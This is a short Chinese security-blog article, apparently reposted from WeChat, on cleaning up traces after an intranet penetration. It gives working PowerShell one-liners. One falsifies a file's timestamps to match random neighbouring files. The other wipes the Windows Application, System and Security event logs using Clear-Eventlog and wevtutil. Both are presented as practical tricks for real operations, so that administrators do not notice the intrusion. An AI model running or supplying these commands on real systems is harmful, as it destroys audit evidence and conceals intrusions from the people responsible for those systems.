内网渗透结束后,一些痕迹清理的小手段
2021-03-23 11:08:10 Author: mp.weixin.qq.com(查看原文) 阅读量:139 收藏


文章来源:Khan安全攻防实验室

痕迹清理

在我们做完一系列的内网渗透操作后,必然会留下一些蛛丝马迹,因此我们需要给自己”擦屁股“。本篇只介绍如何清除系统日志、修改文件时间戳。

痕迹清理

Powershell 修改文件时间戳

有时候我们在登陆目标桌面后,根据需求可能会动用目标主机上的文件或者文件夹,而一些管理员很久都不会登陆一次主机;设想当管理员一上线看到自己的文件夹日期有异常,是否会怀疑?

Function edit_time($path){$date1 =Get-ChildItem | Select LastWriteTime|Get-Random;$date2 =Get-ChildItem |Select LastWriteTime|Get-Random;$date3 =Get-ChildItem |Select LastWriteTime|Get-Random;$(Get-Item $path).lastaccesstime=$date1.LastWriteTime;$(Get-Item $path).creationtime=$date2.LastWriteTime ;$(Get-Item $path).lastwritetime=$date3.LastWriteTime};edit_time("C:\Users\saulGoodman\Desktop\工具包\pass.txt")

Powershell 清除系统日志

当我们做了一些操作都会记录到时间查看器里,而下面的 Powershell 就可清除相关日志:

PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"Get-WinEvent -ListLog Application,Setup,Security -Force | % {Wevtutil.exe cl $_.Logname}


本篇只讲了两个小技巧,在实战中够用一些了,之后有空在发其他技巧

推荐文章++++

*内网渗透技术-零基础方向

*内网渗透 | 流量转发场景测试

*内网渗透学习-信息收集篇


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650506665&idx=3&sn=a7d6dc2d034f0bee9bad54684105a114&chksm=83bae04db4cd695bc8cc8dfaa8c3e9010fec779b3748f066bffd9a38c3af4600497365304a28#rd
如有侵权请联系:admin#unsafe.sh